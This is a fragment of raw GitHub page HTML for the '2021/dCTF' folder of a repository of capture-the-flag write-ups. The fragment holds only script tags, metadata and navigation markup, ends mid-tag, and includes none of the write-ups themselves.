data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups · GitHub</title> <meta name="description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta name="twitter:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta property="og:url" content="https://github.com/ivanchubb/CTF-Writeups" /><meta property="og:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B70F:0530:110747D:11C3A9C:61830713" data-pjax-transient="true"/><meta name="html-safe-nonce" content="485d9f92b5828043937aab151510a7630d7fd2fcab4179080c8073fc80825e5f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzBGOjA1MzA6MTEwNzQ3RDoxMUMzQTlDOjYxODMwNzEzIiwidmlzaXRvcl9pZCI6IjE0MDYxNTgzNDg1ODc1NjY4NjciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="8cf4232c8e62d1e0018bceec53e0cea38cae5570b605c6eeae08d0a4f686629d" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:368004552" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/ivanchubb/CTF-Writeups git https://github.com/ivanchubb/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="56413433" /><meta name="octolytics-dimension-user_login" content="ivanchubb" /><meta name="octolytics-dimension-repository_id" content="368004552" /><meta name="octolytics-dimension-repository_nwo" content="ivanchubb/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="368004552" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ivanchubb/CTF-Writeups" /> <link rel="canonical" href="https://github.com/ivanchubb/CTF-Writeups/tree/main/2021/dCTF" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="368004552" data-scoped-search-url="/ivanchubb/CTF-Writeups/search" data-owner-scoped-search-url="/users/ivanchubb/search" data-unscoped-search-url="/search" action="/ivanchubb/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="sIhM3TD13ttGkEH79CGeEGgLY8kSwFvn2NxfX9+WpjbIJyoSnDu4OlXAlzbzcxEWouYaJJE3iJdHlza3Yyn3xA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg 